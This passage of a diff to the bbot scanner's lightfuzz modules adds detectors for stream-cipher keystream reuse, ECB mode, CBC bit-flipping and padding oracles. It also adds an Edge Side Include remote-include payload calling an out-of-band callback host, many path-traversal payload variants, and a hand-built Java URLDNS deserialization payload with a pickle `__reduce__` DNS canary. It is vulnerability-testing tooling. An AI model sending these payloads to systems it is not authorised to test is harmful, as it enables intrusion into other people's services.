+        result lands almost entirely in [0x00, 0x60] (the "many-time-pad smell").
+
+        Runs before the entropy gate because the very plaintexts this catches (short
+        ASCII identifiers like ``skillcd``) often produce ciphertext below the 4.5-bit
+        entropy threshold the gate uses.
+        """
+        candidates = self._collect_keystream_candidates(probe_value)
+        if len(candidates) < 2:
+            return
+
+        best = None
+        for i in range(len(candidates)):
+            for j in range(i + 1, len(candidates)):
+                label_a, raw_a, bytes_a = candidates[i]
+                label_b, raw_b, bytes_b = candidates[j]
+                xored = _xor_bytes(bytes_a, bytes_b)
+                if len(xored) < 3:
+                    continue
+                zero_run = _leading_zero_run(xored)
+                ascii_score = _ascii_xor_score(xored)
+                # At least 2 leading zero bytes OR ≥90% of bytes in ASCII-XOR-ASCII range
+                if zero_run < 2 and ascii_score < 0.9:
+                    continue
+                # A leading-zero run alone is the hallmark of structured hex
+                # identifiers (MongoDB ObjectIds, hex timestamps, sequential
+                # counters, time-ordered UUIDs) sharing a byte prefix -- not
+                # keystream reuse.  Filter those out by examining the tail.
+                if zero_run >= 2 and _is_structured_id_pair(bytes_a, bytes_b, xored, zero_run):
+                    continue
+                pair_score = (zero_run, ascii_score)
+                if best is None or pair_score > (best[0], best[1]):
+                    best = (zero_run, ascii_score, label_a, raw_a, label_b, raw_b, xored)
+
+        if best is None:
+            return
+
+        zero_run, ascii_score, label_a, raw_a, label_b, raw_b, xored = best
+        if zero_run >= 5:
+            severity, confidence = "HIGH", "CONFIRMED"
+        elif zero_run >= 3 or ascii_score >= 0.95:
+            severity, confidence = "HIGH", "HIGH"
+        else:
+            severity, confidence = "MEDIUM", "MEDIUM"
+
+        description = (
+            "Stream Cipher Keystream Reuse (Many-Time-Pad). "
+            f"Two parameter values XOR to a {zero_run}-byte leading-zero run: "
+            f"[{label_a}]={raw_a} XOR [{label_b}]={raw_b} = {xored.hex()}. "
+            f"{self.metadata()}"
+        )
+        context = (
+            "Lightfuzz Cryptographic Probe Submodule detected stream-cipher "
+            f"keystream reuse across parameters [{label_a}] and [{label_b}]"
+        )
+        self.results.append(
+            {
+                "name": "Stream Cipher Keystream Reuse",
+                "severity": severity,
+                "confidence": confidence,
+                "description": description,
+                "context": context,
+            }
+        )
+
+    def detect_ecb(self, probe_value):
+        """
+        Passively detect ECB mode encryption by checking for repeated ciphertext blocks.
+        ECB encrypts each block independently, so identical plaintext blocks produce identical
+        ciphertext blocks. Zero HTTP requests required.
+        """
+        data, encoding = self.format_agnostic_decode(probe_value)
+        if encoding == "unknown":
+            return
+        for block_size in self.possible_block_sizes(len(data)):
+            blocks = [data[i : i + block_size] for i in range(0, len(data), block_size)]
+            if len(blocks) != len(set(blocks)):
+                context = f"Lightfuzz Cryptographic Probe Submodule detected ECB mode encryption in parameter: [{self.event.data['name']}]"
+                self.results.append(
+                    {
+                        "severity": "MEDIUM",
+                        "name": "ECB Mode Encryption Detected",
+                        "confidence": "MEDIUM",
+                        "description": f"ECB Mode Encryption Detected. Block size: [{block_size}] {self.metadata()}",
+                        "context": context,
+                    }
+                )
+                return  # Report first matching block size only
+
+    async def cbc_bitflip(self, probe_value, cookies):
+        """
+        Detect CBC bit-flipping vulnerability by mutating different byte positions in the
+        penultimate ciphertext block. In CBC mode, modifying byte N of block K affects byte N
+        of the decrypted block K+1. If the server produces distinguishable responses for
+        different mutation positions, it indicates CBC without integrity protection.
+        Cost: 2 HTTP requests.
+        """
+        data, encoding = self.format_agnostic_decode(probe_value)
+        if encoding == "unknown":
+            return
+        # Stability pre-check: verify the endpoint returns consistent responses
+        if not await self._check_endpoint_stability(probe_value, encoding, cookies):
+            return
+        for block_size in self.possible_block_sizes(len(data)):
+            num_blocks = len(data) // block_size
+            if num_blocks < 2:
+                continue
+            penultimate_start = (num_blocks - 2) * block_size
+            # Mutate first byte of penultimate block
+            try:
+                probe_a = self.modify_string(probe_value, action="mutate", position=penultimate_start)
+            except ValueError:
+                continue
+            # Mutate middle byte of penultimate block
+            try:
+                probe_b = self.modify_string(
+                    probe_value, action="mutate", position=penultimate_start + block_size // 2
+                )
+            except ValueError:
+                continue
+            # Use probe_a as the baseline, compare probe_b against it
+            http_compare = self.compare_baseline(self.event.data["type"], probe_a, cookies)
+            try:
+                result = await self.compare_probe(http_compare, self.event.data["type"], probe_b, cookies)
+            except HttpCompareError as e:
+                self.verbose(f"Encountered HttpCompareError during CBC bit-flip test: {e}")
+                continue
+            if result[0] is False and "body" in result[1]:
+                # Strip reflected probe values to avoid false positives
+                stripped_baseline = http_compare.baseline.text
+                stripped_probe = result[3].text
+                for encoded_a, encoded_b in [
+                    (probe_a, probe_b),
+                    (probe_a.replace("+", " "), probe_b.replace("+", " ")),
+                    (quote(probe_a), quote(probe_b)),
+                ]:
+                    stripped_baseline = stripped_baseline.replace(encoded_a, "")
+                    stripped_probe = stripped_probe.replace(encoded_b, "")
+                if stripped_baseline == stripped_probe:
+                    continue
+                context = f"Lightfuzz Cryptographic Probe Submodule detected probable CBC bit-flipping in parameter: [{self.event.data['name']}]"
+                self.results.append(
+                    {
+                        "severity": "MEDIUM",
+                        "name": "CBC Bit-Flipping Detected",
+                        "confidence": "MEDIUM",
+                        "description": f"CBC Bit-Flipping Detected. Block size: [{block_size}] {self.metadata()}",
+                        "context": context,
+                    }
+                )
+                return  # Report first matching block size only
+
     async def padding_oracle_execute(self, original_data, encoding, block_size, cookies, possible_first_byte=True):
         """
         Execute the padding oracle attack for a given block size.
@@ -246,12 +537,16 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook
         for i in range(starting_pos, starting_pos + 254):
             byte = bytes([i])
             probe_value = self.format_agnostic_encode(ivblock + paddingblock[:-1] + byte + datablock, encoding)
-            oracle_probe = await self.compare_probe(
-                baseline,
-                self.event.data["type"],
-                probe_value,
-                cookies,
-            )
+            try:
+                oracle_probe = await self.compare_probe(
+                    baseline,
+                    self.event.data["type"],
+                    probe_value,
+                    cookies,
+                )
+            except HttpCompareError as e:
+                self.verbose(f"Encountered HttpCompareError during padding oracle probe: {e}")
+                return False
             # oracle_probe[0] will be false if the response is different - oracle_probe[1] stores what aspect of the response is different (headers, body, code)
             if oracle_probe[0] is False and "body" in oracle_probe[1]:
                 # When the server reflects submitted values or reveals decrypted data, every probe will differ in the body. Strip the known probe values from both responses and re-compare.
@@ -284,12 +579,42 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook
             return None
         return False
 
+    async def _check_endpoint_stability(self, probe_value, encoding, cookies):
+        """Send the same probe value multiple times and verify the endpoint returns consistent responses.
+        Returns True if stable, False if responses vary for identical inputs (jitter)."""
+        data, _ = self.format_agnostic_decode(probe_value)
+        if encoding == "unknown":
+            return True
+        # Build a fixed probe to test stability
+        stability_value = self.format_agnostic_encode(b"\x00" * 16 + data[-16:], encoding)
+        stability_hashes = []
+        for _ in range(3):
+            r = await self.standard_probe(self.event.data["type"], cookies, stability_value)
+            if r:
+                body = r.text
+                for encoded in [stability_value, stability_value.replace("+", " "), quote(stability_value)]:
+                    body = body.replace(encoded, "")
+                stability_hashes.append(hash(body))
+        if len(set(stability_hashes)) > 1:
+            self.debug(
+                f"Endpoint produces unstable responses for identical inputs "
+                f"({len(set(stability_hashes))}/{len(stability_hashes)} unique), "
+                f"skipping differential analysis"
+            )
+            return False
+        return True
+
     async def padding_oracle(self, probe_value, cookies):
         data, encoding = self.format_agnostic_decode(probe_value)
         possible_block_sizes = self.possible_block_sizes(
             len(data)
         )  # determine possible block sizes for the ciphertext
 
+        # Stability pre-check: verify the endpoint returns consistent responses
+        # for identical inputs before attempting differential analysis
+        if not await self._check_endpoint_stability(probe_value, encoding, cookies):
+            return
+
         for block_size in possible_block_sizes:
             padding_oracle_result = await self.padding_oracle_execute(data, encoding, block_size, cookies)
             # if we get a negative result first, theres a 1/255 change it's a false negative. To rule that out, we must retry again with possible_first_byte set to false
@@ -300,11 +625,25 @@ async def padding_oracle(self, probe_value, cookies):
                 )
 
             if padding_oracle_result is True:
+                # Confirmation round: re-run to rule out jitter-based false positives
+                self.debug(f"Initial padding oracle detection for block_size={block_size}, running confirmation round")
+                confirmation_result = await self.padding_oracle_execute(data, encoding, block_size, cookies)
+                if confirmation_result is None:
+                    confirmation_result = await self.padding_oracle_execute(
+                        data, encoding, block_size, cookies, possible_first_byte=False
+                    )
+                if confirmation_result is not True:
+                    self.debug(
+                        f"Confirmation round failed for block_size={block_size} - likely jitter false positive, suppressing"
+                    )
+                    continue
+
                 context = f"Lightfuzz Cryptographic Probe Submodule detected a probable padding oracle vulnerability after manipulating parameter: [{self.event.data['name']}]"
                 self.results.append(
                     {
-                        "type": "VULNERABILITY",
                         "severity": "HIGH",
+                        "name": "Padding Oracle Vulnerability",
+                        "confidence": "HIGH",
                         "description": f"Padding Oracle Vulnerability. Block size: [{str(block_size)}] {self.metadata()}",
                         "context": context,
                     }
@@ -338,7 +677,9 @@ async def error_string_search(self, text_dict, baseline_text):
             if unique_matches:
                 self.results.append(
                     {
-                        "type": "FINDING",
+                        "name": "Possible Cryptographic Error",
+                        "severity": "INFO",
+                        "confidence": "LOW",
                         "description": f"Possible Cryptographic Error. {self.metadata()} Strings: [{','.join(unique_matches)}] Detection Technique(s): [{','.join(matching_techniques)}]",
                         "context": context,
                     }
@@ -356,6 +697,7 @@ def identify_hash_function(hash_bytes):
         hash_functions = {
             16: hashlib.md5,
             20: hashlib.sha1,
+            28: hashlib.sha224,
             32: hashlib.sha256,
             48: hashlib.sha384,
             64: hashlib.sha512,
@@ -374,10 +716,15 @@ async def fuzz(self):
             )
             return
 
+        # Cross-value: detect keystream-reuse / many-time-pad. Runs before the entropy gate
+        # because the short ASCII identifier plaintexts this catches often produce ciphertext
+        # below the 4.5-bit threshold the gate uses. Zero HTTP requests.
+        self.detect_keystream_reuse(probe_value)
+
         # obtain the baseline probe to compare against
         baseline_probe = await self.baseline_probe(cookies)
         if not baseline_probe:
-            self.verbose(f"Couldn't get baseline_probe for url {self.event.data['url']}, aborting")
+            self.verbose(f"Couldn't get baseline_probe for url {self.event.url}, aborting")
             return
 
         # perform the manipulation techniques
@@ -396,6 +743,10 @@ async def fuzz(self):
             self.debug("Parameter value does not appear to be cryptographic, aborting tests")
             return
 
+        # ECB Mode Detection (passive, zero HTTP requests)
+        if possible_block_cipher:
+            self.detect_ecb(probe_value)
+
         # Cryptographic Response Divergence Test
 
         http_compare = self.compare_baseline(self.event.data["type"], probe_value, cookies)
@@ -411,6 +762,11 @@ async def fuzz(self):
             self.verbose(f"Encountered HttpCompareError Sending Compare Probe: {e}")
             return
 
+        # If any probe got no response (e.g. WAF-blocked), we can't reason about diffs; abort.
+        if arbitrary_probe[3] is None or truncate_probe[3] is None or mutate_probe[3] is None:
+            self.verbose(f"One or more compare probes returned no response for url {self.event.url}, aborting")
+            return
+
         confirmed_techniques = []
         # mutate_probe[0] will be false if the response is different - mutate_probe[1] stores what aspect of the response is different (headers, body, code)
         # ensure the difference is in the body and not the headers or code
@@ -432,7 +788,9 @@ async def fuzz(self):
             context = f"Lightfuzz Cryptographic Probe Submodule detected a parameter ({self.event.data['name']}) to appears to drive a cryptographic operation"
             self.results.append(
                 {
-                    "type": "FINDING",
+                    "name": "Probable Cryptographic Parameter",
+                    "severity": "INFO",
+                    "confidence": "LOW",
                     "description": f"Probable Cryptographic Parameter. {self.metadata()} Detection Technique(s): [{', '.join(confirmed_techniques)}]",
                     "context": context,
                 }
@@ -454,6 +812,9 @@ async def fuzz(self):
                 )
                 await self.padding_oracle(probe_value, cookies)
 
+                # CBC Bit-Flipping Test
+                await self.cbc_bitflip(probe_value, cookies)
+
             # Hash identification / Potential Length extension attack
             data, encoding = crypto.format_agnostic_decode(probe_value)
             # see if its possible that a given value is a hash, and if so, which one
@@ -469,6 +830,8 @@ async def fuzz(self):
                 ):
                     # for each additional parameter, we send a probe and check if it causes the same change in the response as the original probe
                     for additional_param_name, additional_param_value in self.event.data["additional_params"].items():
+                        if additional_param_value is None:
+                            continue
                         try:
                             additional_param_probe = await self.compare_probe(
                                 http_compare,
@@ -486,7 +849,9 @@ async def fuzz(self):
                             context = f"Lightfuzz Cryptographic Probe Submodule detected a parameter ({self.event.data['name']}) that is a likely a hash, which is connected to another parameter {additional_param_name})"
                             self.results.append(
                                 {
-                                    "type": "FINDING",
+                                    "name": "Possible Length Extension Attack",
+                                    "severity": "INFO",
+                                    "confidence": "LOW",
                                     "description": f"Possible {self.event.data['type']} parameter with {hash_instance.name.upper()} Hash as value. {self.metadata()}, linked to additional parameter [{additional_param_name}]",
                                     "context": context,
                                 }
diff --git a/bbot/modules/lightfuzz/submodules/esi.py b/bbot/modules/lightfuzz/submodules/esi.py
index 757a903979..2e82bc4b74 100644
--- a/bbot/modules/lightfuzz/submodules/esi.py
+++ b/bbot/modules/lightfuzz/submodules/esi.py
@@ -5,13 +5,25 @@ class esi(BaseLightfuzz):
     """
     Detects Edge Side Includes (ESI) processing vulnerabilities.
 
-    Tests if the server processes ESI tags by sending a payload containing ESI tags
-    and checking if the tags are processed (removed) in the response.
+    Two complementary techniques that run independently:
+
+    * Tag-strip Detection (original):
+       - Sends `AA<!--esi-->BB<!--esx-->CC` and checks if `<!--esi-->`
+         was stripped. Proves the edge processes ESI comment tags.
+         MEDIUM severity, HIGH confidence.
+
+    * Remote-Include OOB Confirmation (new):
+       - Sends `<esi:include src="http://{interactsh}/"/>`. If the edge
+         actually FETCHES the include, interactsh observes the callback
+         and emits a CRITICAL CONFIRMED finding. Stronger than tag-
+         stripping: tag-stripping can happen cosmetically; a remote
+         fetch proves real processing with exploitable side effects.
     """
 
     # Technique lifted from https://github.com/PortSwigger/active-scan-plus-plus
 
     friendly_name = "Edge Side Includes"
+    uses_interactsh = True
 
     async def check_probe(self, cookies, probe, match):
         """
@@ -22,6 +34,9 @@ async def check_probe(self, cookies, probe, match):
             self.results.append(
                 {
                     "type": "FINDING",
+                    "name": "Edge Side Include Processing",
+                    "severity": "MEDIUM",
+                    "confidence": "HIGH",
                     "description": f"Edge Side Include. Parameter: [{self.event.data['name']}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}",
                 }
             )
@@ -34,9 +49,32 @@ async def fuzz(self):
         """
         cookies = self.event.data.get("assigned_cookies", {})
 
-        # ESI test payload: if ESI is processed, <!--esi--> will be removed
-        # leaving AABB<!--esx-->CC in the response
+        # Tag-strip detection (original technique). If ESI is processed,
+        # <!--esi--> gets removed, leaving AABB<!--esx-->CC in the response.
         payload = "AA<!--esi-->BB<!--esx-->CC"
         detection_string = "AABB<!--esx-->CC"
-
         await self.check_probe(cookies, payload, detection_string)
+
+        # Remote-include OOB confirmation (new). Runs alongside the
+        # tag-strip probe — they detect distinct signals and both can
+        # fire on the same parameter. bbot's scope model prevents the
+        # interactsh URL from being self-fetched if it gets reflected
+        # into the response body (out-of-scope host, not fetched).
+        if self.lightfuzz.interactsh_instance:
+            _, host = self.register_interactsh_tag(
+                name="Edge Side Include Remote Fetch",
+                description=(
+                    f"Edge Side Include Remote Fetch (OOB Interaction) "
+                    f"Parameter: [{self.event.data['name']}] "
+                    f"Parameter Type: [{self.event.data['type']}]{self.conversion_note()}"
+                ),
+                severity="CRITICAL",
+                confidence="CONFIRMED",
+            )
+            include_payload = f'<esi:include src="http://{host}/"/>'
+            await self.standard_probe(
+                self.event.data["type"],
+                cookies,
+                include_payload,
+                timeout=15,
+            )
diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py
index 44047e2907..b051c07682 100644
--- a/bbot/modules/lightfuzz/submodules/path.py
+++ b/bbot/modules/lightfuzz/submodules/path.py
@@ -34,8 +34,25 @@ async def fuzz(self):
             )
             return
 
-        # Single dot traversal tolerance test
+        # Single dot traversal tolerance test.
+        # The `a/../` variants require the intermediate dummy path component to
+        # exist during OS path walking (works for frameworks that string-normalize
+        # before open(), like PHP include). The `simple` variants omit the dummy
+        # component so they also trigger against stacks that pass paths raw to
+        # the kernel (Python open(), Go os.Open, Rust File::open, etc.).
         path_techniques = {
+            "single-dot traversal tolerance (simple, no-encoding)": {
+                "singledot_payload": f"./{probe_value}",
+                "doubledot_payload": f"../{probe_value}",
+            },
+            "single-dot traversal tolerance (simple, leading slash)": {
+                "singledot_payload": f"/./{probe_value}",
+                "doubledot_payload": f"/../{probe_value}",
+            },
+            "single-dot traversal tolerance (simple, url-encoding)": {
+                "singledot_payload": quote(f"./{probe_value}".encode(), safe=""),
+                "doubledot_payload": quote(f"../{probe_value}".encode(), safe=""),
+            },
             "single-dot traversal tolerance (no-encoding)": {
                 "singledot_payload": f"./a/../{probe_value}",
                 "doubledot_payload": f"../a/../{probe_value}",
@@ -60,6 +77,16 @@ async def fuzz(self):
                 "singledot_payload": f"/...//a/....//{probe_value}",
                 "doubledot_payload": f"/....//a/....//{probe_value}",
             },
+            # Simple (no-`a/`-intermediate) variants for servers that
+            # reject paths whose intermediate components don't exist.
+            "single-dot traversal tolerance (non-recursive stripping, simple)": {
+                "singledot_payload": f"...//{probe_value}",
+                "doubledot_payload": f"....//{probe_value}",
+            },
+            "single-dot traversal tolerance (non-recursive stripping, simple, leading slash)": {
+                "singledot_payload": f"/...//{probe_value}",
+                "doubledot_payload": f"/....//{probe_value}",
+            },
             "single-dot traversal tolerance (double url-encoding)": {
                 "singledot_payload": f".%252fa%252f..%252f{probe_value}",
                 "doubledot_payload": f"..%252fa%252f..%252f{probe_value}",
@@ -68,6 +95,15 @@ async def fuzz(self):
                 "singledot_payload": f"%252f.%252fa%252f..%252f{probe_value}",
                 "doubledot_payload": f"%252f..%252fa%252f..%252f{probe_value}",
             },
+            # Simple (no-`a/`-intermediate) variants for strict path resolvers.
+            "single-dot traversal tolerance (double url-encoding, simple)": {
+                "singledot_payload": f".%252f{probe_value}",
+                "doubledot_payload": f"..%252f{probe_value}",
+            },
+            "single-dot traversal tolerance (double url-encoding, simple, leading slash)": {
+                "singledot_payload": f"%252f.%252f{probe_value}",
+                "doubledot_payload": f"%252f..%252f{probe_value}",
+            },
         }
 
         compiled_regex = self.lightfuzz.helpers.re.compile(r"/(?:[\w-]+/)*[\w-]+\.\w+")
@@ -107,21 +143,60 @@ async def fuzz(self):
                     # next, if doubledot_probe[0] is false, the response is different from the baseline. This further indicates that a real path is being manipulated
                     # if doubledot_probe[3] is not None, the response is not empty.
                     # if doubledot_probe[1] is not ["header"], the response is not JUST a header change.
+                    # The doubledot response must look like a successful fetch of a different
+                    # resource (2xx with body) — a 4xx/5xx is the server *rejecting* the `..`,
+                    # which is the opposite of a vulnerability and was previously flagged because
+                    # any non-baseline response satisfied `[0] is False`.
                     # "The requested URL was rejected" is a very common WAF error message which appears on 200 OK response, confusing detections
+                    doubledot_response = doubledot_probe[3]
+                    doubledot_is_success = (
+                        doubledot_response is not None
+                        and 200 <= doubledot_response.status_code < 300
+                        and bool(doubledot_response.text)
+                    )
                     if (
                         singledot_probe[0] is True
                         and doubledot_probe[0] is False
-                        and doubledot_probe[3] is not None
+                        and doubledot_is_success
                         and doubledot_probe[1] != ["header"]
-                        and "The requested URL was rejected" not in doubledot_probe[3].text
+                        and not await self.lightfuzz.helpers.yara.match(
+                            self.lightfuzz.waf_yara_rules, doubledot_response.text
+                        )
                     ):
+                        # Canary check: a real path traversal would 404/500 on a random non-existent
+                        # filename, but a search/filter field returns 200 with an empty results page
+                        # for any input. If the canary also returns 200 with a body, it's a search
+                        # field, not a file path handler — break to avoid an FP.
+                        canary_name = self.lightfuzz.helpers.rand_string(10, digits=False)
+                        canary_payload = payloads["doubledot_payload"].replace(probe_value, canary_name)
+                        canary_probe = await self.compare_probe(
+                            http_compare,
+                            self.event.data["type"],
+                            canary_payload,
+                            cookies,
+                            skip_urlencoding=True,
+                        )
+                        canary_response = canary_probe[3]
+                        canary_is_success = (
+                            canary_response is not None
+                            and 200 <= canary_response.status_code < 300
+                            and bool(canary_response.text)
+                        )
+                        if canary_is_success:
+                            self.debug(
+                                f"Path Traversal canary check failed: random filename also returned "
+                                f"{canary_response.status_code} (likely a search/filter field, not a file path)"
+                            )
+                            break
                         confirmations += 1
                         self.verbose(f"Got possible Path Traversal detection: [{str(confirmations)}] Confirmations")
                         # only report if we have 3 confirmations
                         if confirmations > 3:
                             self.results.append(
                                 {
-                                    "type": "FINDING",
+                                    "name": "Possible Path Traversal",
+                                    "severity": "HIGH",
+                                    "confidence": "LOW",
                                     "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [{path_technique}]",
                                 }
                             )
@@ -148,7 +223,9 @@ async def fuzz(self):
             if r and trigger in r.text:
                 self.results.append(
                     {
-                        "type": "FINDING",
+                        "name": "Possible Path Traversal",
+                        "severity": "HIGH",
+                        "confidence": "MEDIUM",
                         "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [Absolute Path: {path}]",
                     }
                 )
diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py
index 9a7dd90135..0e67bec69b 100644
--- a/bbot/modules/lightfuzz/submodules/serial.py
+++ b/bbot/modules/lightfuzz/submodules/serial.py
@@ -1,7 +1,116 @@
+import base64
+import pickle
+import socket
+import struct
+
 from .base import BaseLightfuzz
 from bbot.errors import HttpCompareError
 
 
+class _PickleOOB:
+    """Pickle-RCE canary: __reduce__ makes the deserializing process resolve
+    a controlled DNS name, which can be observed via interactsh. Declared
+    at module scope so the ``socket.gethostbyname`` reference pickles
+    cleanly by fully-qualified name."""
+
+    def __init__(self, callback_host):
+        self._callback_host = callback_host
+
+    def __reduce__(self):
+        return (socket.gethostbyname, (self._callback_host,))
+
+
+def _java_utf(s):
+    """Encode a string with Java's 2-byte-length-prefixed modified UTF."""
+    b = s.encode("utf-8")
+    return struct.pack(">H", len(b)) + b
+
+
+def _build_java_urldns_payload(host):
+    """
+    Construct a Java URLDNS serialization payload targeting ``host``.
+
+    When deserialized by ObjectInputStream, HashMap.readObject rebuilds
+    its internal table by calling putVal(hash(key), key, value, ...),
+    and ``hash(key)`` invokes ``key.hashCode()``. Our key is a
+    java.net.URL with its stored hashCode field set to -1 (the "unset"
+    sentinel), so URL.hashCode() falls through to the stream handler's
+    hashCode(), which calls URL.getHostAddress(), which performs a DNS
+    lookup on ``host``. That lookup is observable via interactsh.
+
+    This works against ANY Java deserialization sink — no gadget-chain
+    class needs to be present in the target's classpath. Only
+    java.util.HashMap + java.net.URL are required, both in every JVM's
+    stdlib since 1.1.
+    """
+    buf = bytearray()
+    # STREAM_MAGIC + STREAM_VERSION=5
+    buf += b"\xac\xed\x00\x05"
+    # TC_OBJECT — HashMap instance
+    buf += b"\x73"
+    # TC_CLASSDESC — HashMap class descriptor
+    buf += b"\x72"
+    buf += _java_utf("java.util.HashMap")
+    # HashMap.serialVersionUID = 362498820763181265L
+    buf += struct.pack(">q", 362498820763181265)
+    # Flags: SC_SERIALIZABLE | SC_WRITE_METHOD
+    buf += b"\x03"
+    # Field count: loadFactor (float), threshold (int)
+    buf += struct.pack(">H", 2)
+    buf += b"F" + _java_utf("loadFactor")
+    buf += b"I" + _java_utf("threshold")
+    # TC_ENDBLOCKDATA (end of class annotations)
+    buf += b"\x78"
+    # Super class: TC_NULL
+    buf += b"\x70"
+    # Instance data: loadFactor=0.75, threshold=12
+    buf += struct.pack(">f", 0.75)
+    buf += struct.pack(">i", 12)
+    # Custom writeObject payload: TC_BLOCKDATA, length=8, capacity=16, size=1
+    buf += b"\x77\x08"
+    buf += struct.pack(">i", 16)
+    buf += struct.pack(">i", 1)
+
+    # Entry key: a java.net.URL with hashCode=-1
+    buf += b"\x73"  # TC_OBJECT
+    buf += b"\x72"  # TC_CLASSDESC
+    buf += _java_utf("java.net.URL")
+    # URL.serialVersionUID = -7627629688361524110L
+    buf += struct.pack(">q", -7627629688361524110)
+    # Flags: SC_SERIALIZABLE | SC_WRITE_METHOD. URL has a custom readObject
+    # that re-attaches the transient `handler` field after deserialization —
+    # without SC_WRITE_METHOD the deserializer skips it, leaving handler
+    # null so URL.hashCode() NPEs before the DNS lookup fires.
+    buf += b"\x03"
+    # Field count: 7 (hashCode, port, authority, file, host, protocol, ref)
+    buf += struct.pack(">H", 7)
+    buf += b"I" + _java_utf("hashCode")
+    buf += b"I" + _java_utf("port")
+    for fname in ("authority", "file", "host", "protocol", "ref"):
+        buf += b"L" + _java_utf(fname)
+        # Field type: TC_STRING (0x74) + signature
+        buf += b"\x74" + _java_utf("Ljava/lang/String;")
+    buf += b"\x78"  # TC_ENDBLOCKDATA
+    buf += b"\x70"  # TC_NULL (super class)
+    # Instance data
+    buf += struct.pack(">i", -1)  # hashCode = -1 → forces DNS recomputation
+    buf += struct.pack(">i", 80)  # port
+    buf += b"\x74" + _java_utf(f"{host}:80")  # authority
+    buf += b"\x74" + _java_utf("")  # file
+    buf += b"\x74" + _java_utf(host)  # host
+    buf += b"\x74" + _java_utf("http")  # protocol
+    buf += b"\x70"  # ref: TC_NULL
+    # SC_WRITE_METHOD requires TC_ENDBLOCKDATA to close URL's custom
+    # writeObject block. URL's writeObject just calls defaultWriteObject
+    # and adds no extra data, but the terminator is still required.
+    buf += b"\x78"
+    # Entry value: TC_NULL (HashMap allows null values)
+    buf += b"\x70"
+    # TC_ENDBLOCKDATA closes HashMap's custom block
+    buf += b"\x78"
+    return bytes(buf)
+
+
 class serial(BaseLightfuzz):
     """Finds parameters where serialized objects might be being deserialized.
     It starts by performing a baseline with a specially-crafted non-serialized payload, separated by type (base64, hex, php raw).
@@ -15,6 +124,13 @@ class serial(BaseLightfuzz):
     """
 
     friendly_name = "Unsafe Deserialization"
+    uses_interactsh = True
+    # Serial probes are raw serialized bytes (base64/hex/PHP-raw) — the exact
+    # wire format the target receives. Bypass the envelope system so probes
+    # aren't re-encoded based on what the parameter's original value looked
+    # like (e.g. preventing an already-base64 pickle from being base64'd again
+    # because the original value happened to be base64-wrapped plain text).
+    skip_envelopes = True
 
     # Class-level constants
     CONTROL_PAYLOAD_HEX = "f56124208220432ec767646acd2e6c6bc9622a62c5656f2eeb616e2f"
@@ -28,12 +144,16 @@ class serial(BaseLightfuzz):
         "java_base64_OptionalDataException": "rO0ABXcEAAAAAAEAAAABc3IAEGphdmEudXRpbC5IYXNoTWFwAAAAAAAAAAECAAJMAARrZXkxYgABAAAAAAAAAAJ4cHcBAAAAB3QABHRlc3Q=",
         "dotnet_base64": "AAEAAAD/////AQAAAAAAAAAGAQAAAAdndXN0YXZvCw==",
         "ruby_base64": "BAh7BjoKbE1FAAVJsg==",
+        # Python pickle v4 of the string "test" — benign value, but any
+        # endpoint that accepts it without error is pickle-deserializing.
+        "python_pickle_base64": "gASVCAAAAAAAAACMBHRlc3SULg==",
     }
 
     HEX_SERIALIZATION_PAYLOADS = {
         "java_hex": "ACED00057372000E6A6176612E6C616E672E426F6F6C65616ECD207EC0D59CF6EE02000157000576616C7565787000",
         "java_hex_OptionalDataException": "ACED0005737200106A6176612E7574696C2E486173684D617000000000000000012000014C00046B6579317A00010000000000000278707000000774000474657374",
         "dotnet_hex": "0001000000ffffffff01000000000000000601000000076775737461766f0b",
+        "python_pickle_hex": "80049508000000000000008C0474657374942E",
     }
 
     PHP_RAW_SERIALIZATION_PAYLOADS = {
@@ -45,14 +165,18 @@ class serial(BaseLightfuzz):
         "cannot cast java.lang.string",
         "dump format error",
         "java.io.optionaldataexception",
+        "unpicklingerror",  # Python pickle, distinctive to the pickle module
     ]
 
-    GENERAL_ERRORS = [
+    GENERAL_ERROR_STRINGS = [
         "Internal Error",
         "Internal Server Error",
-        "The requested URL was rejected",
     ]
 
+    @property
+    def general_error_yara_rules(self):
+        return self.lightfuzz.serial_general_error_yara_rules
+
     def is_possibly_serialized(self, value):
         # Use the is_base64 method from BaseLightfuzz via self
         if self.is_base64(value):
@@ -78,6 +202,18 @@ def is_possibly_serialized(self, value):
             return True
         return False
 
+    @staticmethod
+    def payload_language(payload_name):
+        """Extract the language family from a payload name (e.g. 'java_base64_string_error' -> 'java')."""
+        return payload_name.split("_")[0]
+
+    async def confirm_baseline(self, control_payload, cookies):
+        """Re-send the control payload to confirm the baseline error state is stable (not transient)."""
+        confirmation = await self.standard_probe(self.event.data["type"], cookies, control_payload)
+        if confirmation is None:
+            return None
+        return getattr(confirmation, "status_code", None)
+
     async def fuzz(self):
         cookies = self.event.data.get("assigned_cookies", {})
         control_payload_hex = self.CONTROL_PAYLOAD_HEX
@@ -89,7 +225,6 @@ async def fuzz(self):
         php_raw_serialization_payloads = self.PHP_RAW_SERIALIZATION_PAYLOADS
 
         serialization_errors = self.SERIALIZATION_ERRORS
-        general_errors = self.GENERAL_ERRORS
 
         probe_value = self.incoming_probe_value(populate_empty=False)
         if probe_value:
@@ -111,13 +246,16 @@ async def fuzz(self):
             self.debug(f"HttpCompareError encountered: {e}")
             return
 
+        # Map each payload set to its control payload for baseline confirmation
+        payload_sets = [
+            (base64_serialization_payloads, http_compare_base64, control_payload_base64),
+            (hex_serialization_payloads, http_compare_hex, control_payload_hex),
+            (php_raw_serialization_payloads, http_compare_php_raw, control_payload_php_raw),
+        ]
+
         # Proceed with payload probes
-        for payload_set, payload_baseline in [
-            (base64_serialization_payloads, http_compare_base64),
-            (hex_serialization_payloads, http_compare_hex),
-            (php_raw_serialization_payloads, http_compare_php_raw),
-        ]:
-            for type, payload in payload_set.items():
+        for payload_set, payload_baseline, control_payload in payload_sets:
+            for payload_type, payload in payload_set.items():
                 try:
                     matches_baseline, diff_reasons, reflection, response = await self.compare_probe(
                         payload_baseline, self.event.data["type"], payload, cookies
@@ -127,32 +265,55 @@ async def fuzz(self):
                     continue
 
                 if matches_baseline:
-                    self.debug(f"Payload {type} matches baseline, skipping")
                     continue
 
-                self.debug(f"Probe result for {type}: {response}")
-
